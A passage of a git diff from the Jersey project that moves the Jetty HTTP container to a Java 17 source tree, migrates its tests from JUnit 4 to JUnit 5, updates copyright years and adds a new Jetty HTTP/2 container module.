authenticationState.getAuthenticationType() : null; + } + }; + } + + + private URI getBaseUri(final Request request) throws URISyntaxException { + return new URI(request.getHttpURI().getScheme(), null, Request.getServerName(request), + Request.getServerPort(request), getBasePath(request), null, null); + } + + private String getBasePath(final Request request) { + final String contextPath = Request.getContextPath(request); + + if (contextPath == null || contextPath.isEmpty()) { + return "/"; + } else if (contextPath.charAt(contextPath.length() - 1) != '/') { + return contextPath + "/"; + } else { + return contextPath; + } + } + + private static final class ResponseWriter implements ContainerResponseWriter { + + private final Request request; + private final Response response; + private final Callback callback; + private final boolean configSetStatusOverSendError; + private final Timer timer = new Timer(); + private final long asyncStartTimeMillis; + private final ConcurrentLinkedQueue timeoutHandlerQueue = new ConcurrentLinkedQueue<>(); + private TimerTask currentTimerTask; + + ResponseWriter(final Request request, final Response response, final Callback callback, + final boolean configSetStatusOverSendError) { + this.request = request; + this.response = response; + this.callback = callback; + this.asyncStartTimeMillis = System.currentTimeMillis(); + this.configSetStatusOverSendError = configSetStatusOverSendError; + } + + private synchronized void setNewTimeout(long timeOut, TimeUnit timeUnit) { + long timeOutMillis = timeUnit.toMillis(timeOut); + if (currentTimerTask != null) { + currentTimerTask.cancel(); + } + currentTimerTask = new TimerTask() { + @Override + public void run() { + timeoutHandlerQueue.forEach(timeoutHandler -> timeoutHandler.onTimeout(ResponseWriter.this)); + } + }; + timer.schedule(currentTimerTask, Math.max(0, timeOutMillis + asyncStartTimeMillis - System.currentTimeMillis())); + } + + @Override + public OutputStream writeResponseStatusAndHeaders(final long contentLength, final ContainerResponse context) + throws ContainerException { + + final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo(); + + final int code = statusInfo.getStatusCode(); + + response.setStatus(code); + + if (contentLength != -1 && contentLength < Integer.MAX_VALUE && !"HEAD".equals(request.getMethod())) { + response.getHeaders().add(new HttpField(HttpHeader.CONTENT_LENGTH, String.valueOf((int) contentLength))); + } + for (final Map.Entry> e : context.getStringHeaders().entrySet()) { + for (final String value : e.getValue()) { + response.getHeaders().add(new HttpField(e.getKey(), value)); + } + } + + return Content.Sink.asOutputStream(response); + } + + @Override + public boolean suspend(final long timeOut, final TimeUnit timeUnit, final TimeoutHandler timeoutHandler) { + if (timeOut > 0) { + setNewTimeout(timeOut, timeUnit); + } + if (timeoutHandler != null) { + timeoutHandlerQueue.add(timeoutHandler); + } + return true; + } + + @Override + public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit) throws IllegalStateException { + if (timeOut > 0) { + setNewTimeout(timeOut, timeUnit); + } + } + + @Override + public void commit() { + callback.succeeded(); + LOGGER.log(Level.FINEST, "commit() called"); + } + + @Override + public void failure(final Throwable error) { + try { + if (!response.isCommitted()) { + try { + if (configSetStatusOverSendError) { + response.reset(); + response.setStatus(INTERNAL_SERVER_ERROR); + callback.failed(error); + } else { + Response.writeError(request, response, callback, INTERNAL_SERVER_ERROR, "Request failed.", error); + } + } catch (final IllegalStateException ex) { + // a race condition externally committing the response can still occur... + LOGGER.log(Level.FINER, "Unable to reset failed response.", ex); + } + } + } finally { + LOGGER.log(Level.FINEST, "failure(...) called"); + rethrow(error); + } + } + + @Override + public boolean enableResponseBuffering() { + return false; + } + + /** + * Rethrow the original exception as required by JAX-RS, 3.3.4. + * + * @param error throwable to be re-thrown + */ + private void rethrow(final Throwable error) { + if (error instanceof RuntimeException) { + throw (RuntimeException) error; + } else { + throw new ContainerException(error); + } + } + + } + + @Override + public ResourceConfig getConfiguration() { + return appHandler.getConfiguration(); + } + + @Override + public void reload() { + reload(new ResourceConfig(getConfiguration())); + } + + @Override + public void reload(final ResourceConfig configuration) { + appHandler.onShutdown(this); + + appHandler = new ApplicationHandler(configuration.register(new JettyBinder())); + appHandler.onReload(this); + appHandler.onStartup(this); + cacheConfigSetStatusOverSendError(); + } + + @Override + public ApplicationHandler getApplicationHandler() { + return appHandler; + } + + /** + * Inform this container that the server has been started. + * This method must be implicitly called after the server containing this container is started. + * + * @throws java.lang.Exception if a problem occurred during server startup. + */ + @Override + protected void doStart() throws Exception { + super.doStart(); + appHandler.onStartup(this); + } + + /** + * Inform this container that the server is being stopped. + * This method must be implicitly called before the server containing this container is stopped. + * + * @throws java.lang.Exception if a problem occurred during server shutdown. + */ + @Override + public void doStop() throws Exception { + super.doStop(); + appHandler.onShutdown(this); + appHandler = null; + } + + /** + * Create a new Jetty HTTP container. + * + * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container. + * @param parentContext DI provider specific context with application's registered bindings. + */ + JettyHttpContainer(final Application application, final Object parentContext) { + this.appHandler = new ApplicationHandler(application, new JettyBinder(), parentContext); + } + + /** + * Create a new Jetty HTTP container. + * + * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container. + */ + JettyHttpContainer(final Application application) { + this.appHandler = new ApplicationHandler(application, new JettyBinder()); + + cacheConfigSetStatusOverSendError(); + } + + /** + * Create a new Jetty HTTP container. + * + * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container. + */ + JettyHttpContainer(final Class applicationClass) { + this.appHandler = new ApplicationHandler(applicationClass, new JettyBinder()); + + cacheConfigSetStatusOverSendError(); + } + + /** + * The method reads and caches value of configuration property + * {@link ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR} for future purposes. + */ + private void cacheConfigSetStatusOverSendError() { + this.configSetStatusOverSendError = ServerProperties.getValue(getConfiguration().getProperties(), + ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class); + } + +} diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java similarity index 99% rename from containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java rename to containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java index 3ccb7b8bfc9..26a4b79581d 100644 --- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java +++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java similarity index 98% rename from containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java rename to containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java index 64af0306df1..97343424798 100644 --- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java +++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2018 Markus KARG. All rights reserved. * * This program and the accompanying materials are made available under the diff --git a/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties index 6d0d06c5fd8..8d507d59e57 100644 --- a/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties +++ b/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties @@ -1,5 +1,5 @@ # -# Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -21,4 +21,4 @@ unable.to.close.response=Unable to close response output. uri.cannot.be.null=The URI must not be null. wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL. wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL. -not.supported=Jetty container is not supported on JDK version less than 11. +not.supported=Jetty container is not supported on JDK version less than 17. diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java index e4314ae0592..7519624dcb7 100644 --- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java +++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java @@ -1,5 +1,6 @@ /* - * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2022 Contributors to the Eclipse Foundation * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -21,6 +22,7 @@ import java.util.logging.Level; import java.util.logging.Logger; +import jakarta.ws.rs.RuntimeType; import jakarta.ws.rs.core.UriBuilder; import org.glassfish.jersey.logging.LoggingFeature; @@ -29,7 +31,7 @@ import org.eclipse.jetty.server.Server; import org.eclipse.jetty.server.ServerConnector; -import org.junit.After; +import org.junit.jupiter.api.AfterEach; /** * Abstract Jetty Server unit tester. @@ -43,7 +45,7 @@ public abstract class AbstractJettyServerTester { private static final Logger LOGGER = Logger.getLogger(AbstractJettyServerTester.class.getName()); public static final String CONTEXT = ""; - private static final int DEFAULT_PORT = 0; + private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998 /** * Get the port to be used for test application deployments. @@ -76,13 +78,24 @@ protected final int getPort() { return DEFAULT_PORT; } + private final int getPort(RuntimeType runtimeType) { + switch (runtimeType) { + case SERVER: + return getPort(); + case CLIENT: + return server.getURI().getPort(); + default: + throw new IllegalStateException("Unexpected runtime type"); + } + } + private volatile Server server; public UriBuilder getUri() { - return UriBuilder.fromUri("http://localhost").port(getPort()).path(CONTEXT); + return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT); } - public void startServer(Class... resources) { + public void startServer(Class... resources) { ResourceConfig config = new ResourceConfig(resources); config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); startServer(config); @@ -95,7 +108,7 @@ public void startServer(ResourceConfig config) { } public URI getBaseUri() { - return UriBuilder.fromUri("http://localhost/").port(getPort()).build(); + return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build(); } public void stopServer() { @@ -108,7 +121,7 @@ public void stopServer() { } } - @After + @AfterEach public void tearDown() { if (server != null) { stopServer(); diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java index 0a393cbd73d..808e2ea35fe 100644 --- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java +++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -31,12 +31,12 @@ import jakarta.ws.rs.container.TimeoutHandler; import jakarta.ws.rs.core.Response; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.is; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; /** * @author Arul Dhesiaseelan (aruld at acm.org) @@ -121,14 +121,14 @@ public void run() { private Client client; - @Before + @BeforeEach public void setUp() throws Exception { startServer(AsyncResource.class); client = ClientBuilder.newClient(); } @Override - @After + @AfterEach public void tearDown() { super.tearDown(); client = null; diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java index bfe462c67cf..7c4c760e109 100644 --- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java +++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClientBuilder; import org.apache.http.message.BasicHttpRequest; -import org.junit.Test; +import org.junit.jupiter.api.Test; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; @@ -35,7 +35,7 @@ import java.io.IOException; import java.net.URI; -import static org.junit.Assert.assertEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author Paul Sandoz @@ -65,6 +65,19 @@ public void test400StatusCodeForIllegalSymbolsInURI() throws IOException { assertEquals(400, response.getStatusLine().getStatusCode()); } + @Test + public void test400StatusCodeForIllegalHeaderValue() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400"); + request.addHeader("X-Forwarded-Host", "_foo.com"); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + @Test public void test400StatusCode() throws IOException { startServer(ExceptionResource.class); diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java index 1aa8b454956..004a33405c4 100644 --- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java +++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2018 Markus KARG. All rights reserved. * * This program and the accompanying materials are made available under the @@ -22,8 +22,8 @@ import static org.hamcrest.CoreMatchers.instanceOf; import static org.hamcrest.CoreMatchers.is; import static org.hamcrest.CoreMatchers.nullValue; +import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.greaterThan; -import static org.junit.Assert.assertThat; import java.security.AccessController; import java.security.NoSuchAlgorithmException; @@ -31,6 +31,7 @@ import java.util.Set; import java.util.concurrent.CompletionStage; import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; import java.util.logging.Level; import java.util.logging.Logger; @@ -45,12 +46,12 @@ import jakarta.ws.rs.core.UriBuilder; import org.glassfish.jersey.internal.util.PropertiesHelper; -import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; import org.glassfish.jersey.server.ServerProperties; import org.glassfish.jersey.server.spi.Container; import org.glassfish.jersey.server.spi.WebServer; import org.glassfish.jersey.server.spi.WebServerProvider; -import org.junit.Test; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.Timeout; /** * Unit tests for {@link JettyHttpServerProvider}. @@ -60,14 +61,16 @@ */ public final class JettyHttpServerProviderTest { - @Test(timeout = 15000) + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) public void shouldProvideServer() throws InterruptedException, ExecutionException { // given final Resource resource = new Resource(); shouldProvideServer(ShouldProvideServerApplication.class, resource); } - @Test(timeout = 15000) + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException { // given final Resource resource = new Resource(); @@ -82,10 +85,9 @@ private void shouldProvideServer(final Object application, final Resource resour final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE); // when - final JerseySeBootstrapConfiguration jerseySeConfig = JerseySeBootstrapConfiguration.from(configuration); final WebServer webServer = Application.class.isInstance(application) - ? webServerProvider.createServer(WebServer.class, (Application) application, jerseySeConfig) - : webServerProvider.createServer(WebServer.class, (Class) application, jerseySeConfig); + ? webServerProvider.createServer(WebServer.class, (Application) application, configuration) + : webServerProvider.createServer(WebServer.class, (Class) application, configuration); final Object nativeHandle = webServer.unwrap(Object.class); final CompletionStage start = webServer.start(); final Object startResult = start.toCompletableFuture().get(); @@ -149,7 +151,8 @@ private static final int getPort() { return DEFAULT_PORT; } - @Test(timeout = 15000) + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) public final void shouldScanFreePort() throws InterruptedException, ExecutionException { // given final WebServerProvider webServerProvider = new JettyHttpServerProvider(); @@ -157,8 +160,7 @@ public final void shouldScanFreePort() throws InterruptedException, ExecutionExc final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE); // when - final JerseySeBootstrapConfiguration jerseySeConfig = JerseySeBootstrapConfiguration.from(configuration); - final WebServer webServer = webServerProvider.createServer(WebServer.class, application, jerseySeConfig); + final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration); // then assertThat(webServer.port(), is(greaterThan(0))); @@ -191,4 +193,4 @@ private SeBootstrap.Configuration configuration(int port, boolean autoStart) { }; } -} +} \ No newline at end of file diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java index 40add85dac5..90a0e66043f 100644 --- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java +++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -19,7 +19,7 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener; import org.glassfish.jersey.server.spi.Container; -import org.junit.Test; +import org.junit.jupiter.api.Test; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; @@ -29,9 +29,9 @@ import jakarta.ws.rs.core.Response; import static org.hamcrest.CoreMatchers.equalTo; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertThat; -import static org.junit.Assert.assertTrue; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; /** @@ -127,7 +127,7 @@ public void testStartupShutdownHooks() { stopServer(); - assertTrue("ContainerLifecycleListener.onStartup has not been called.", listener.started); - assertTrue("ContainerLifecycleListener.onShutdown has not been called.", listener.stopped); + assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called."); + assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called."); } } diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java index 0925cc92228..1580a0a3707 100644 --- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java +++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,7 +16,7 @@ package org.glassfish.jersey.jetty; -import org.junit.Test; +import org.junit.jupiter.api.Test; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; @@ -25,8 +25,8 @@ import jakarta.ws.rs.client.ClientBuilder; import jakarta.ws.rs.core.Response; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; public class OptionsTest extends AbstractJettyServerTester { diff --git a/containers/jetty-http2/pom.xml b/containers/jetty-http2/pom.xml new file mode 100644 index 00000000000..ece632283b1 --- /dev/null +++ b/containers/jetty-http2/pom.xml @@ -0,0 +1,281 @@ + + + + + 4.0.0 + + + project + org.glassfish.jersey.containers + 3.1.99-SNAPSHOT + + + jersey-container-jetty-http2 + jar + jersey-container-jetty-http2 + + Jetty Http2 Container + + + ${project.basedir}/target + ${project.basedir}/src/main/java11 + ${project.basedir}/target17 + ${project.basedir}/src/main/java17 + + + + + org.glassfish.jersey.containers + jersey-container-jetty-http + ${project.version} + + + jakarta.inject + jakarta.inject-api + + + org.eclipse.jetty + jetty-util + + + org.slf4j + slf4j-api + + + + + org.eclipse.jetty + jetty-alpn-conscrypt-server + + + org.slf4j + slf4j-api + + + + + org.apache.httpcomponents + httpclient + test + + + org.hamcrest + hamcrest + test + + + + + + + com.sun.istack + istack-commons-maven-plugin + true + + + org.codehaus.mojo + build-helper-maven-plugin + true + + + org.apache.felix + maven-bundle-plugin + true + + + + ${jetty.osgi.version}, + * + + + + + + + + + ${basedir}/src/main/resources + true + + + + + + + JettyExclude + + [11,17) + + + ${jetty11.version} + + + ${java11.build.outputDirectory} + + + org.codehaus.mojo + build-helper-maven-plugin + + + generate-sources + + add-source + + + + ${java11.sourceDirectory} + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + + org/glassfish/jersey/jetty/http2/*.java + + + + + + + + JettyInclude + + [17,) + + + + org.eclipse.jetty + jetty-server + + + org.slf4j + slf4j-api + + + + + org.eclipse.jetty.http2 + jetty-http2-server + + + org.slf4j + slf4j-api + + + + + + ${java17.build.outputDirectory} + + + org.codehaus.mojo + build-helper-maven-plugin + + + generate-sources + + add-source + + + + ${java17.sourceDirectory} + + + + + + + + + + copyJDK17FilesToMultiReleaseJar + + + + target17/classes/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.class + + [11,17) + + + + + org.apache.felix + maven-bundle-plugin + true + true + + + true + + + + + org.apache.maven.plugins + maven-resources-plugin + true + + + copy-jdk17-classes + prepare-package + + copy-resources + + + ${java11.build.outputDirectory}/classes/META-INF/versions/17 + + + ${java17.build.outputDirectory}/classes + + + + + + + + org.apache.maven.plugins + maven-antrun-plugin + + + copy-jdk17-sources + package + + + + sources-jar: ${sources-jar} + + + + + + + run + + + + + + + + + + \ No newline at end of file diff --git a/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java new file mode 100644 index 00000000000..01c61fccf94 --- /dev/null +++ b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java @@ -0,0 +1,43 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.jetty.JettyHttpContainer; +import org.glassfish.jersey.jetty.JettyHttpContainerProvider; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.server.spi.ContainerProvider; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Application; + +import static org.glassfish.jersey.jetty.JettyHttpContainerProvider.HANDLER_NAME; + +public final class JettyHttp2ContainerProvider implements ContainerProvider { + + @Override + public T createContainer(final Class type, final Application application) throws ProcessingException { + if (JdkVersion.getJdkVersion().getMajor() < 11) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) { + return type.cast(new JettyHttpContainerProvider().createContainer(JettyHttpContainer.class, application)); + } + return null; + } +} + diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/TestComponent2.java b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java similarity index 77% rename from ext/spring4/src/test/java/org/glassfish/jersey/server/spring/TestComponent2.java rename to containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java index 792d9b85e8b..3c4358898d6 100644 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/TestComponent2.java +++ b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,8 +14,7 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.server.spring; - -public interface TestComponent2 { - String result(); -} +/** + * Jersey Jetty HTTP2 container classes. + */ +package org.glassfish.jersey.jetty.http2; \ No newline at end of file diff --git a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java new file mode 100644 index 00000000000..cdea00a67bd --- /dev/null +++ b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java @@ -0,0 +1,75 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.util.ssl.SslContextFactory; + +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.jetty.JettyHttpContainer; +import org.glassfish.jersey.jetty.http2.LocalizationMessages; +import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.ResourceConfig; + +import jakarta.ws.rs.ProcessingException; +import java.net.URI; +import java.util.ArrayList; +import java.util.List; + +public final class JettyHttp2ContainerFactory { + + private JettyHttp2ContainerFactory() { + + } + + public static Server createHttp2Server(final URI uri) throws ProcessingException { + validateJdk(); + return null; // does not work at JDK lower than 17 + } + + public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start) + throws ProcessingException { + validateJdk(); + return null; // does not work at JDK lower than 17 + } + + public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException { + validateJdk(); + return null; // does not work at JDK lower than 17 + } + + public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start, + final Object parentContext) { + validateJdk(); + return null; // does not work at JDK lower than 17 + } + + public static Server createHttp2Server(final URI uri, + final SslContextFactory.Server sslContextFactory, + final JettyHttpContainer handler, + final boolean start) { + + validateJdk(); + return null; // does not work at JDK lower than 17 + } + + private static void validateJdk() { + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + } +} diff --git a/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java new file mode 100644 index 00000000000..b03f4099600 --- /dev/null +++ b/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java @@ -0,0 +1,217 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory; +import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory; +import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory; +import org.eclipse.jetty.server.ConnectionFactory; +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.HttpConfiguration; +import org.eclipse.jetty.server.HttpConnectionFactory; +import org.eclipse.jetty.server.Server; 